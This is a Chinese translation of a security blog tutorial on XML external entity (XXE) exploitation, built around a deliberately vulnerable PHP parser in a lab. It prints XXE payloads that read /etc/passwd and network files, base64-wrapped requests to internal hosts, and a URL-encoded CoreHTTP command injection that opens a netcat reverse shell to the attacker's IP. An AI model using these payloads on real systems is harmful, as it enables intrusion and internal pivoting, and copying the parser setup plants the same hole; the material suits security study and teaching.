XML外部实体攻击进阶:从文件读取到内网渗透

本文深入探讨XML外部实体(XXE)漏洞的利用方法,不仅展示如何读取系统文件如/etc/passwd,还详细介绍了如何通过XXE进行HTTP请求、内网扫描,甚至利用漏洞作为跳板攻击内部系统,实现从外网到内网的完整渗透链。

XML外部实体攻击进阶:从文件读取到内网渗透

Robert Schwass//

上周一天内我被两次问及是否了解XML外部实体(XXE)漏洞。或许它们正在主流安全话题或销售术语中卷土重来,我不得而知。(通常媒体或销售工程师传播的流行词会成为我许多对话的驱动因素。)

已有大量优秀文章详细解释了XXE的细节,如果您需要澄清该漏洞,请查看Carrie Roberts的GIAC金皮书。直到最近,XXE从未让我感到兴奋。通常,我只是利用该漏洞读取本地系统的文件。有些漏洞我垂涎欲滴并希望找到,但XXE从未是其中之一。

于是我开始研究exploit-db上最新的XXE漏洞,观看YouTube上的演讲,并阅读关于XXE的论文、博客和文章。OWASP文档是一个不错的起点:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing。在OWASP信息中引起我注意的是“攻击者可能利用此受信任的应用程序跳转到其他内部系统,可能通过http(s)请求披露其他内部内容,或对任何未受保护的内部服务发起CSRF攻击。”

现在我们来谈谈,看看我们能做什么!

当今许多XML解析器实现的伟大之处在于它们默认允许XXE利用。

以下PHP脚本解析发送给它的XML并将其回显给用户。我将我的脚本命名为NEW_XXE.php,并将其放在Web根目录下的CUSTOM目录中。这个“应用程序”绝对什么都不做,但谁在乎呢,我们想折腾解析器本身。

我将此PHP脚本安装在WEBSVR01上。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml = simplexml_import_dom($dom);
$stuff = $xml->stuff;

$str = "$stuff \n";

echo $str;
?>

如果您想在实验室中创建此场景,可以将上述脚本扔到您的PHP服务器中(确保安装php-xml)。

现在创建一个XML文件作为请求发送到服务器,内容如下。我将其命名为“send.txt”,并从WEBSVR01发送到localhost,以确保本地一切正常。

1
2
3
<xml>
    <stuff>This is my stuff</stuff>
</xml>

在stuff中放入任何内容,并像这样发送到WEBSVR01 aka localhost。

查看回显的响应。

所以“应用程序”已启动并运行。很好。现在我们可以折腾解析器了。

调用一些外部实体

修改“send.txt”为以下内容。

1
2
3
4
5
6
<!DOCTYPE data [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
    <stuff>&xxe;</stuff>
</data>

这是对Linux系统的典型XXE攻击,是证明漏洞存在的好方法。如果一切正常,您应该得到“/etc/passwd”的转储。

从WEBSVR01再次发送到localhost。

您可以用XXE做的另一件非常有用的的事情是创建HTTP请求。

在WEBSVR01上启动端口8888的python SimpleHTTPServer,让我们看看会发生什么。

1
2
3
4
5
6
<!DOCTYPE data [
    <!ENTITY xxe SYSTEM "http://127.0.0.1:8888">
]>
<data>
    <stuff>&xxe;</stuff>
</data>

在我的python http服务器上。

酷,我们可以发送http请求。

从远程系统我可以利用此漏洞获取一些网络信息。首先让我描绘一下场景,您在互联网上的Web服务器上发现此漏洞,并希望将其用作跳转点。

下图展示了一切。我获得了一个在34.200.157.128上的Web服务器,该主机实际上是NAT/防火墙设备后面的WEBSVR01。WEBSVR01有一个XXE漏洞,我想利用它来收集信息并可能利用WEBSRV02。我坐在开放的互联网上,在我的攻击PC上。

您知道这是一个Ubuntu服务器,因为您进行了适当的枚举。有几个地方您想查看以获取此服务器的网络信息。

首先您想抓取“/etc/networking/interfaces”,如果您需要更多信息,请查看“/proc/net/route”(这些值是十六进制的,如果需要,您可能需要转换它们)。

让我带您完成它。从我的攻击PC(Ubuntu 14 LTS),我创建请求文件以从易受攻击的Web服务器抓取“/etc/network/interfaces”。

在攻击PC上编辑文件以抓取/etc/passwd:

1
2
3
4
5
6
<!DOCTYPE data [
    <!ENTITY xxe SYSTEM "file:///etc/network/interfaces">
]>
<data>
    <stuff>&xxe;</stuff>
</data>

发出请求:

很好!我们现在知道此主机所在的内部网络或DMZ的IP方案。

让我们通过XXE使用其内部IP地址10.0.0.3抓取此服务器的默认页面。

注意!某些字符会破坏XML。到目前为止,我们只查看了文件或进行了简单的http请求,这些请求没有返回会破坏我们XML的字符。由于我们使用PHP,我们可以对返回的内容进行base64编码。在攻击PC上更改您的“send.txt”以匹配以下内容,添加以下PHP过滤器。

1
2
3
4
5
6
<!DOCTYPE data [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3/">
]>
<data>
    <stuff>&xxe;</stuff>
</data>

现在发送请求

我们得到一些base64返回。一旦解码,我们就有了页面内容。

构建HTTP扫描器!

将这一切放在一起,我现在可以扫描内部IP范围以查找Web服务器。

当然需要一些Python。

您可以在我的GitHub上获取脚本此处。

从攻击PC,执行!

让我们看看从10.0.0.4返回的数据的Base64解码是什么。

嗯…… CoreHTTP?

在exploit-db.com上有一个不错的小漏洞利用:https://www.exploit-db.com/exploits/10610/

由于我们得到一个index.pl(Perl)文件,我假设启用了CGI,所以此漏洞利用可能有效。它通过GET请求传递参数工作,因此我们可以通过外部主机的XXE漏洞利用它。

解密Metasploit模块后,需要发送的请求看起来像这样URL编码的http请求:

1
http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%200%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60

注意我在那里放了我的IP地址“34.200.157.80”和我的Netcat监听器将使用的端口。整个字符串是一个URL编码的反向Netcat shell,没有“-e”支持,利用mknod和backpipe。

所以让我们通过XXE漏洞在10.0.0.4上触发漏洞利用。

在攻击PC上创建一个Netcat监听器并执行!

看起来像一个反向Shell!

所以您有了。一个小教程,关于如何从外部主机利用XML外部实体漏洞,并利用它来利用内部主机上的漏洞。我要感谢BHIS,并特别感谢Carrie Roberts的优秀金皮书。


*Robert是我们博客的客座作者。有兴趣客座发布吗?在此处联系我们。

加入BHIS博客邮件列表 – 当我们发布新博客、网络广播和播客时获得通知。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计